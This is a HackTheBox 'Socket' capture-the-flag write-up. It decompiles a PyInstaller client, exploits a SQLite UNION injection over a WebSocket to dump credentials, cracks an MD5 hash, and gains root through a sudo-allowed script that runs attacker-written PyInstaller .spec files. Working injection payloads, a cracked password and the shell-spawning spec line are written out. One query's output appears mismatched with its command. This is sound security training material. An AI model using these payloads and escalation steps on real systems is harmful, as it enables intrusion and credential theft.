Skip to main content
  1. Posts/

HackTheBox - Socket Writeup

·2866 words·14 mins
Recon>

Recon #

Firstly, we run nmap:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/only4you]
└─$ nmap -A -T5 10.10.11.206         
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 09:26 CEST
Nmap scan report for 10.10.11.206
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.09 seconds

As we can see, we need to add the following line on our /ect/hosts to visit the webserver: 10.10.11.206 qreader.htb

Web Enumeration>

Web Enumeration #

Here is the website hosted on the server:

65d06d0a5705b403534ea0897d50e37b.png

There is to main functions:

  • The first one allows us to scan a QR Code and then to display the text embedded on it
  • The second one allows us to embed text on a QR Code

Near the footer of the page, we can see that there is a link to download a desktop application wich reproduce the two functions.

46fff4b035ab570020e5af3ad0cf2edb.png

Binaries>

Binaries #

After we have downloaded the executable, we check the file type:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/only4you]
└─$ file /media/psf/Home/Downloads/QReader_lin_v0.0.2/app/qreader 
/media/psf/Home/Downloads/QReader_lin_v0.0.2/app/qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped

As the web app is built with flask, it’s likely that the executable is written in python. Let’s check that:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ strings qreader | grep py | tail
xcv2/load_config_py2.py
xcv2/load_config_py3.py
xcv2/mat_wrapper/__init__.py
xcv2/misc/__init__.py
xcv2/misc/version.py
xcv2/utils/__init__.py
xcv2/version.py
zPYZ-00.pyz
6libpython3.10.so.1.0
pydata

After some researches, I’ve found a project that allows to extract pyinstaller archive from an ELF executable.

PyInstaller bundles a Python application and all its dependencies into a single package. The user can run the packaged app without installing a Python interpreter or any modules.

Let’s try this technique:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 pyinstxtractor/pyinstxtractor.py qreader             
[+] Processing qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: qreader

You can now use a python decompiler on the pyc files within the extracted directory

It works, but we’ll run the script with python3.10 because the archive has been built with this version of python.

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3.10 pyinstxtractor/pyinstxtractor.py qreader
[+] Processing qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[+] Found 637 files in PYZ archive
[+] Successfully extracted pyinstaller archive: qreader

You can now use a python decompiler on the pyc files within the extracted directory

Now, we have to decompile pyc files in order to retrieve the source code. For that, we’ll install and build Decompyle++:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ git clone https://github.com/zrax/pycdc.git             
Cloning into 'pycdc'...
remote: Enumerating objects: 2439, done.
remote: Counting objects: 100% (798/798), done.
remote: Compressing objects: 100% (213/213), done.
remote: Total 2439 (delta 617), reused 625 (delta 583), pack-reused 1641
Receiving objects: 100% (2439/2439), 706.76 KiB | 5.08 MiB/s, done.
Resolving deltas: 100% (1515/1515), done.

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ cd pycdc 
                                                                   
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket/pycdc]
└─$ cmake .
-- The C compiler identification is GNU 12.2.0
-- The CXX compiler identification is GNU 12.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "3.11.2") 
-- Configuring done
-- Generating done
-- Build files have been written to: /home/parallels/Workspace/htb/socket/pycdc
                                                                   
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket/pycdc]
└─$ make      
[  2%] Generating bytes/python_10.cpp, bytes/python_11.cpp, bytes/python_13.cpp, bytes/python_14.cpp, bytes/python_15.cpp, bytes/python_16.cpp, bytes/python_20.cpp, bytes/python_21.cpp, bytes/python_22.cpp, bytes/python_23.cpp, bytes/python_24.cpp, bytes/python_25.cpp, bytes/python_26.cpp, bytes/python_27.cpp, bytes/python_30.cpp, bytes/python_31.cpp, bytes/python_32.cpp, bytes/python_33.cpp, bytes/python_34.cpp, bytes/python_35.cpp, bytes/python_36.cpp, bytes/python_37.cpp, bytes/python_38.cpp, bytes/python_39.cpp, bytes/python_310.cpp, bytes/python_311.cpp                                                                     
[  4%] Building CXX object CMakeFiles/pycxx.dir/bytecode.cpp.o
[  7%] Building CXX object CMakeFiles/pycxx.dir/data.cpp.o
[  9%] Building CXX object CMakeFiles/pycxx.dir/pyc_code.cpp.o
[ 11%] Building CXX object CMakeFiles/pycxx.dir/pyc_module.cpp.o
[ 14%] Building CXX object CMakeFiles/pycxx.dir/pyc_numeric.cpp.o
[ 16%] Building CXX object CMakeFiles/pycxx.dir/pyc_object.cpp.o
[ 19%] Building CXX object CMakeFiles/pycxx.dir/pyc_sequence.cpp.o
[ 21%] Building CXX object CMakeFiles/pycxx.dir/pyc_string.cpp.o
[ 23%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_10.cpp.o
[ 26%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_11.cpp.o
[ 28%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_13.cpp.o
[ 30%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_14.cpp.o
[ 33%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_15.cpp.o
[ 35%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_16.cpp.o
[ 38%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_20.cpp.o
[ 40%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_21.cpp.o
[ 42%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_22.cpp.o
[ 45%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_23.cpp.o
[ 47%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_24.cpp.o
[ 50%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_25.cpp.o
[ 52%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_26.cpp.o
[ 54%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_27.cpp.o
[ 57%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_30.cpp.o
[ 59%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_31.cpp.o
[ 61%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_32.cpp.o
[ 64%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_33.cpp.o
[ 66%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_34.cpp.o
[ 69%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_35.cpp.o
[ 71%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_36.cpp.o
[ 73%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_37.cpp.o
[ 76%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_38.cpp.o
[ 78%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_39.cpp.o
[ 80%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_310.cpp.o
[ 83%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_311.cpp.o
[ 85%] Linking CXX static library libpycxx.a
[ 85%] Built target pycxx
[ 88%] Building CXX object CMakeFiles/pycdas.dir/pycdas.cpp.o
[ 90%] Linking CXX executable pycdas
[ 90%] Built target pycdas
[ 92%] Building CXX object CMakeFiles/pycdc.dir/pycdc.cpp.o
[ 95%] Building CXX object CMakeFiles/pycdc.dir/ASTree.cpp.o
[ 97%] Building CXX object CMakeFiles/pycdc.dir/ASTNode.cpp.o
[100%] Linking CXX executable pycdc
[100%] Built target pycdc

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket/pycdc]
└─$ sudo make install
[ 85%] Built target pycxx
[ 90%] Built target pycdas
[100%] Built target pycdc
Install the project...
-- Install configuration: ""
-- Installing: /usr/local/bin/pycdas
-- Installing: /usr/local/bin/pycdc

In Python, .pyc files are compiled bytecode files that are generated by the Python interpreter when a Python script is imported or executed. The .pyc files contain compiled bytecode that can be executed directly by the interpreter, without the need to recompile the source code every time the script is run. This can result in faster script execution times, especially for large scripts or modules.

Now let’s decompile the qreader.pyc file:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ pycdc qreader.exe_extracted/qreader.pyc > qreader.py
Unsupported opcode: WITH_EXCEPT_START
Unsupported opcode: BEFORE_ASYNC_WITH

Here is the full python code obtained:

# Source Generated with Decompyle++
# File: qreader.pyc (Python 3.9)

import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'

def setup_env():
    global tmp_file_name
    pass
# WARNING: Decompyle incomplete


class MyGUI(QMainWindow):
    
    def __init__(self = None):
        super(MyGUI, self).__init__()
        uic.loadUi(tmp_file_name, self)
        self.show()
        self.current_file = ''
        self.actionImport.triggered.connect(self.load_image)
        self.actionSave.triggered.connect(self.save_image)
        self.actionQuit.triggered.connect(self.quit_reader)
        self.actionVersion.triggered.connect(self.version)
        self.actionUpdate.triggered.connect(self.update)
        self.pushButton.clicked.connect(self.read_code)
        self.pushButton_2.clicked.connect(self.generate_code)
        self.initUI()

    
    def initUI(self):
        self.setWindowIcon(QtGui.QIcon(icon_path))

    
    def load_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
        if filename != '':
            self.current_file = filename
            pixmap = QtGui.QPixmap(self.current_file)
            pixmap = pixmap.scaled(300, 300)
            self.label.setScaledContents(True)
            self.label.setPixmap(pixmap)

    
    def save_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options, **('options',))
        if filename != '':
            img = self.label.pixmap()
            img.save(filename, 'PNG')

    
    def read_code(self):
        if self.current_file != '':
            img = cv2.imread(self.current_file)
            detector = cv2.QRCodeDetector()
            (data, bbox, straight_qrcode) = detector.detectAndDecode(img)
            self.textEdit.setText(data)
        else:
            self.statusBar().showMessage('[ERROR] No image is imported!')

    
    def generate_code(self):
        qr = qrcode.QRCode(1, qrcode.constants.ERROR_CORRECT_L, 20, 2, **('version', 'error_correction', 'box_size', 'border'))
        qr.add_data(self.textEdit.toPlainText())
        qr.make(True, **('fit',))
        img = qr.make_image('black', 'white', **('fill_color', 'back_color'))
        img.save('current.png')
        pixmap = QtGui.QPixmap('current.png')
        pixmap = pixmap.scaled(300, 300)
        self.label.setScaledContents(True)
        self.label.setPixmap(pixmap)

    
    def quit_reader(self):
        if os.path.exists(tmp_file_name):
            os.remove(tmp_file_name)
        sys.exit()

    
    def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
            'version': VERSION })))
        data = json.loads(response)
        if 'error' not in data.keys():
            version_info = data['message']
            msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
            self.statusBar().showMessage(msg)
        else:
            error = data['error']
            self.statusBar().showMessage(error)

    
    def update(self):
        response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({
            'version': VERSION })))
        data = json.loads(response)
        if 'error' not in data.keys():
            msg = '[INFO] ' + data['message']
            self.statusBar().showMessage(msg)
        else:
            error = data['error']
            self.statusBar().showMessage(error)

    __classcell__ = None


async def ws_connect(url, msg):
    pass
# WARNING: Decompyle incomplete


def main():
    (status, e) = setup_env()
    if not status:
        print('[-] Problem occured while setting up the env!')
    app = QApplication([])
    window = MyGUI()
    app.exec_()

if __name__ == '__main__':
    main()
Foothold>

Foothold #

WebSocket exploitation>

WebSocket exploitation #

The websocket caught our attention because any web security vulnerability that arises with regular HTTP can also arise in relation to WebSockets communications.

We’ll write a little python script to understand the behavior of the endpoints:

import json
from websocket import create_connection
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'

def version():
    ws = create_connection(ws_host + '/version')
    ws.send(json.dumps({'version': VERSION }))
    resp = ws.recv()
    data = json.loads(resp)
    print(data)
    ws.close()
    
def update():
    ws = create_connection(ws_host + '/update')
    ws.send(json.dumps({'version': VERSION }))
    resp = ws.recv()
    data = json.loads(resp)
    print(data)
    ws.close()

version()
update()

Let’s execute it:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
{'message': 'You have the latest version installed!'}

As the server returns some informations from the version. We can assume that the version is a user input in a SQL query.

SQLite injection>

SQLite injection #

Let’s try to close quotes to see if an error is raised for example.

With VERSION = '0.0.2\'', the ' added is interpreted as part of the version :

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': 'Invalid version!'}
{'message': 'Version 0.0.2 is available to download!'}

It seems that the SQL query is made with double quotes.

With VERSION = '0.0.2"' we got an error:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
Traceback (most recent call last):
  File "/home/parallels/Workspace/htb/socket/test.py", line 22, in <module>
    version()
  File "/home/parallels/Workspace/htb/socket/test.py", line 10, in version
    data = json.loads(resp)
           ^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Let’s try to add -- to comment everything behind (VERSION = '0.0.2" --'):

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
{'message': 'Version 0.0.2 is available to download!'}

It looks like we found an injection !

Now we’ll try to use UNION SELECT NULL,NULL,NULL,NULL--. Indeed, we can see that the initial request returns four columns (id,version,released_date,downloads). That’s why we put four NULL, both queries must return the same number of columns.

Then, with VERSION = '0.0.2" UNION SELECT null,null,null,null--' the request works:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
{'message': 'Version 0.0.2 is available to download!'}

After some enumeration, we found the backend with VERSION = '0.0.2" UNION SELECT sqlite_version(),"2","3","4" --':

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': '3.37.2', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}

So it’s an SQLite database.

Next, we’ll try to extract database structure with '0.0.2" UNION SELECT group_concat(sql),"2","3","4" from sqlite_master --':

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 'CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER),CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT),CREATE TABLE info (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT, value TEXT),CREATE TABLE reports (id INTEGER PRIMARY KEY AUTOINCREMENT, reporter_name TEXT, subject TEXT, description TEXT, reported_date DATE),CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT,  answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}

We started by extracting username and password with VERSION = '0.0.2" UNION SELECT group_concat(username),group_concat(password),"3","4" from users --':

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 'Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}

Let’s crack the hash !

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
denjanjade122566 (?)     
1g 0:00:00:00 DONE (2023-04-27 15:10) 1.612g/s 14005Kp/s 14005Kc/s 14005KC/s depressiva..denervaux
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

Then, as admin is not a valid username in order to authenticate through ssh. We’ll try to extract usernames from other tables.

So, with VERSION = '0.0.2" UNION SELECT group_concat(answer),"2","3","4" from answers --', we found possible usernames:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ python3 test.py
{'message': {'id': 'Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller', 'version': '2', 'released_date': '3', 'downloads': '4'}}
{'message': 'Version 0.0.2 is available to download!'}

There is Mike and Thomas Keller. And after several tries, it’s tkeller wich allows us to authenticate:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/socket]
└─$ ssh tkeller@qreader.htb                                                                 
The authenticity of host 'qreader.htb (10.10.11.206)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:49: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'qreader.htb' (ED25519) to the list of known hosts.
tkeller@qreader.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr 27 01:11:50 PM UTC 2023

  System load:           0.0
  Usage of /:            68.0% of 8.51GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             220
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.206
  IPv6 address for eth0: dead:beef::250:56ff:feb9:e79f


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr 27 09:03:51 2023 from 10.10.14.169
-bash-5.1$ 
PrivEsc>

PrivEsc #

We started the enumeration by checking sudo privileges:

-bash-5.1$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh

We can execute a bash script as root. Let’s look at this script:

#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

We can control the name variable because it is the second argument. And name is the file that will be executed by pyinstaller.

In case the action is build, the file name must have a .spec extension. By reading some documentation, we learned this:

The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file.

So if we add import os; os.system("/bin/sh") in a .spec file. It will pop a shell if we execute it with pyinstaller.

Let’s try !

-bash-5.1$ echo 'import os; os.system("/bin/sh")' > test.spec
-bash-5.1$ sudo /usr/local/sbin/build-installer.sh build test.spec
160 INFO: PyInstaller: 5.6.2
418 INFO: Python: 3.10.6
423 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
426 INFO: UPX is not available.
# whoami
root

It works, we got a root shell !